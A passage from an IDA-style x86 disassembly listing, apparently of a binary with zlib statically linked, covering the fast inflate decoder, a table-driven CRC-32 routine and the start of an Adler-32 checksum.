loc_42CF41:				; CODE XREF: sub_42CDD6+105j
					; sub_42CDD6+10Ej
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_20]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_20]
		call	dword ptr [ecx+24h]
		add	esp, 8
		xor	eax, eax


loc_42CF57:				; CODE XREF: sub_42CDD6+32j
					; sub_42CDD6+BBj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42CDD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CF5B	proc near		; CODE XREF: sub_42B09D+1A8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 9
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx], 5
		mov	edx, [ebp+arg_8]
		mov	dword ptr [edx], offset	dword_433350
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], offset	dword_434350
		xor	eax, eax
		pop	ebp
		retn
sub_42CF5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CF86	proc near		; CODE XREF: sub_42A17E+106p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+4]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+20h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+1Ch]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42CFD4
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_38], ecx
		jmp	short loc_42CFE0
; ---------------------------------------------------------------------------


loc_42CFD4:				; CODE XREF: sub_42CF86+3Bj
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_38], eax


loc_42CFE0:				; CODE XREF: sub_42CF86+4Cj
		mov	ecx, [ebp+var_38]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, dword_433308[edx*4]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, dword_433308[ecx*4]
		mov	[ebp+var_30], edx


loc_42D000:				; CODE XREF: sub_42CF86+AFj
					; sub_42CF86+639j
		cmp	[ebp+var_28], 14h
		jnb	short loc_42D037
		mov	eax, [ebp+var_34]
		sub	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_28]
		shl	edx, cl
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_28]
		add	edx, 8
		mov	[ebp+var_28], edx
		jmp	short loc_42D000
; ---------------------------------------------------------------------------


loc_42D037:				; CODE XREF: sub_42CF86+7Ej
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 0
		jnz	short loc_42D09A
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		mov	dl, [ecx+4]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		jmp	loc_42D5B2
; ---------------------------------------------------------------------------


loc_42D09A:				; CODE XREF: sub_42CF86+CEj
					; sub_42CF86:loc_42D5ADj
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_20]
		and	eax, 10h
		test	eax, eax
		jz	loc_42D3D9
		mov	ecx, [ebp+var_20]
		and	ecx, 0Fh
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_10]
		and	eax, dword_433308[edx*4]
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_28]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_28], ecx


loc_42D0FF:				; CODE XREF: sub_42CF86+1B0j
		cmp	[ebp+var_28], 0Fh
		jnb	short loc_42D138
		mov	edx, [ebp+var_34]
		sub	edx, 1
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_28]
		shl	edx, cl
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_28]
		add	edx, 8
		mov	[ebp+var_28], edx
		jmp	short loc_42D0FF
; ---------------------------------------------------------------------------


loc_42D138:				; CODE XREF: sub_42CF86+17Dj
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_30]
		mov	ecx, [ebp+arg_C]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx


loc_42D151:				; CODE XREF: sub_42CF86:loc_42D3CFj
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_20]
		and	eax, 10h
		test	eax, eax
		jz	loc_42D2ED
		mov	ecx, [ebp+var_20]
		and	ecx, 0Fh
		mov	[ebp+var_20], ecx


loc_42D18A:				; CODE XREF: sub_42CF86+23Bj
		mov	edx, [ebp+var_28]
		cmp	edx, [ebp+var_20]
		jnb	short loc_42D1C3
		mov	eax, [ebp+var_34]
		sub	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_28]
		shl	edx, cl
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_28]
		add	edx, 8
		mov	[ebp+var_28], edx
		jmp	short loc_42D18A
; ---------------------------------------------------------------------------


loc_42D1C3:				; CODE XREF: sub_42CF86+20Aj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		and	ecx, dword_433308[eax*4]
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+4]
		add	eax, ecx
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_2C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_8]
		sub	eax, [edx+28h]
		cmp	eax, [ebp+var_18]
		jb	short loc_42D25B
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_18]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		jmp	short loc_42D2BD
; ---------------------------------------------------------------------------


loc_42D25B:				; CODE XREF: sub_42CF86+27Ej
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_8]
		sub	eax, [edx+28h]
		mov	ecx, [ebp+var_18]
		sub	ecx, eax
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_20]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_20]
		jbe	short loc_42D2BD
		mov	edx, [ebp+var_14]
		sub	edx, [ebp+var_20]
		mov	[ebp+var_14], edx


loc_42D289:				; CODE XREF: sub_42CF86+32Cj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 0
		jnz	short loc_42D289
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+28h]
		mov	[ebp+var_C], ecx


loc_42D2BD:				; CODE XREF: sub_42CF86+2D3j
					; sub_42CF86+2F8j ...
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_42D2BD
		jmp	loc_42D3D4
; ---------------------------------------------------------------------------


loc_42D2ED:				; CODE XREF: sub_42CF86+1F5j
		mov	edx, [ebp+var_20]
		and	edx, 40h
		test	edx, edx
		jnz	short loc_42D32B
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_1C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_10]
		and	edx, dword_433308[ecx*4]
		mov	eax, [ebp+var_1C]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_20], eax
		jmp	loc_42D3CF
; ---------------------------------------------------------------------------


loc_42D32B:				; CODE XREF: sub_42CF86+36Fj
		mov	ecx, [ebp+arg_14]
		mov	dword ptr [ecx+18h], offset aInvalidDista_0 ; "invalid distance	code"
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+4]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_28]
		shr	ecx, 3
		cmp	ecx, [ebp+var_14]
		jnb	short loc_42D357
		mov	edx, [ebp+var_28]
		shr	edx, 3
		mov	[ebp+var_3C], edx
		jmp	short loc_42D35D
; ---------------------------------------------------------------------------


loc_42D357:				; CODE XREF: sub_42CF86+3C4j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_3C], eax


loc_42D35D:				; CODE XREF: sub_42CF86+3CFj
		mov	ecx, [ebp+var_3C]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_34]
		add	edx, [ebp+var_14]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_14]
		shl	ecx, 3
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_10]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_28]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_34]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, 0FFFFFFFDh
		jmp	loc_42D657
; ---------------------------------------------------------------------------


loc_42D3CF:				; CODE XREF: sub_42CF86+3A0j
		jmp	loc_42D151
; ---------------------------------------------------------------------------


loc_42D3D4:				; CODE XREF: sub_42CF86+362j
		jmp	loc_42D5B2
; ---------------------------------------------------------------------------


loc_42D3D9:				; CODE XREF: sub_42CF86+13Ej
		mov	eax, [ebp+var_20]
		and	eax, 40h
		test	eax, eax
		jnz	short loc_42D461
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_10]
		and	eax, dword_433308[edx*4]
		mov	ecx, [ebp+var_1C]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 0
		jnz	short loc_42D45C
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		mov	dl, [ecx+4]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		jmp	loc_42D5B2
; ---------------------------------------------------------------------------


loc_42D45C:				; CODE XREF: sub_42CF86+490j
		jmp	loc_42D5AD
; ---------------------------------------------------------------------------


loc_42D461:				; CODE XREF: sub_42CF86+45Bj
		mov	edx, [ebp+var_20]
		and	edx, 20h
		test	edx, edx
		jz	loc_42D509
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_34]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_28]
		shr	edx, 3
		cmp	edx, [ebp+var_14]
		jnb	short loc_42D491
		mov	eax, [ebp+var_28]
		shr	eax, 3
		mov	[ebp+var_40], eax
		jmp	short loc_42D497
; ---------------------------------------------------------------------------


loc_42D491:				; CODE XREF: sub_42CF86+4FEj
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_40], ecx


loc_42D497:				; CODE XREF: sub_42CF86+509j
		mov	edx, [ebp+var_40]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_14]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		shl	edx, 3
		mov	eax, [ebp+var_28]
		sub	eax, edx
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_10]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_28]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_34]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_14]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	eax, 1
		jmp	loc_42D657
; ---------------------------------------------------------------------------


loc_42D509:				; CODE XREF: sub_42CF86+4E3j
		mov	ecx, [ebp+arg_14]
		mov	dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code"
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+4]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_28]
		shr	ecx, 3
		cmp	ecx, [ebp+var_14]
		jnb	short loc_42D535
		mov	edx, [ebp+var_28]
		shr	edx, 3
		mov	[ebp+var_44], edx
		jmp	short loc_42D53B
; ---------------------------------------------------------------------------


loc_42D535:				; CODE XREF: sub_42CF86+5A2j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_44], eax


loc_42D53B:				; CODE XREF: sub_42CF86+5ADj
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_34]
		add	edx, [ebp+var_14]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_14]
		shl	ecx, 3
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_10]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_28]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_34]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, 0FFFFFFFDh
		jmp	loc_42D657
; ---------------------------------------------------------------------------


loc_42D5AD:				; CODE XREF: sub_42CF86:loc_42D45Cj
		jmp	loc_42D09A
; ---------------------------------------------------------------------------


loc_42D5B2:				; CODE XREF: sub_42CF86+10Fj
					; sub_42CF86:loc_42D3D4j ...
		cmp	[ebp+var_2C], 102h
		jb	short loc_42D5C5
		cmp	[ebp+var_34], 0Ah
		jnb	loc_42D000


loc_42D5C5:				; CODE XREF: sub_42CF86+633j
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_34]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_28]
		shr	edx, 3
		cmp	edx, [ebp+var_14]
		jnb	short loc_42D5E7
		mov	eax, [ebp+var_28]
		shr	eax, 3
		mov	[ebp+var_48], eax
		jmp	short loc_42D5ED
; ---------------------------------------------------------------------------


loc_42D5E7:				; CODE XREF: sub_42CF86+654j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_48], ecx


loc_42D5ED:				; CODE XREF: sub_42CF86+65Fj
		mov	edx, [ebp+var_48]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_14]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		shl	edx, 3
		mov	eax, [ebp+var_28]
		sub	eax, edx
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_10]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_28]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_34]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_14]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		xor	eax, eax


loc_42D657:				; CODE XREF: sub_42CF86+444j
					; sub_42CF86+57Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42CF86	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_4346B4
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D665	proc near		; CODE XREF: sub_42F9A2+1D4p
					; sub_42F9A2+29Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_42D675
		xor	eax, eax
		jmp	loc_42D83E
; ---------------------------------------------------------------------------


loc_42D675:				; CODE XREF: sub_42D665+7j
		mov	eax, [ebp+arg_0]
		xor	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax


loc_42D67E:				; CODE XREF: sub_42D665+18Cj
		cmp	[ebp+arg_8], 8
		jb	loc_42D7F6
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346B4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346B4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346B4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346B4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346B4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346B4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346B4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346B4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, 8
		mov	[ebp+arg_8], ecx
		jmp	loc_42D67E
; ---------------------------------------------------------------------------


loc_42D7F6:				; CODE XREF: sub_42D665+1Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_42D838


loc_42D7FC:				; CODE XREF: sub_42D665+1D1j
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_0]
		xor	ecx, eax
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		shr	edx, 8
		mov	eax, dword_4346B4[ecx*4]
		xor	eax, edx
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		cmp	[ebp+arg_8], 0
		jnz	short loc_42D7FC


loc_42D838:				; CODE XREF: sub_42D665+195j
		mov	eax, [ebp+arg_0]
		xor	eax, 0FFFFFFFFh


loc_42D83E:				; CODE XREF: sub_42D665+Bj
		pop	ebp
		retn
sub_42D665	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D840	proc near		; DATA XREF: sub_42DBE5+133o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		shr	ecx, 10h
		and	ecx, 0FFFFh
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_42D870
		mov	eax, 1
		jmp	loc_42DAB3
; ---------------------------------------------------------------------------


loc_42D870:				; CODE XREF: sub_42D840+24j
					; sub_42D840+265j
		cmp	[ebp+arg_8], 0
		jbe	loc_42DAAA
		cmp	[ebp+arg_8], 15B0h
		jnb	short loc_42D88B
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_10], edx
		jmp	short loc_42D892
; ---------------------------------------------------------------------------


loc_42D88B:				; CODE XREF: sub_42D840+41j
		mov	[ebp+var_10], 15B0h


loc_42D892:				; CODE XREF: sub_42D840+49j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, [ebp+var_C]
		mov	[ebp+arg_8], ecx


loc_42D8A1:				; CODE XREF: sub_42D840+20Cj
		cmp	[ebp+var_C], 10h
		jl	loc_42DA51
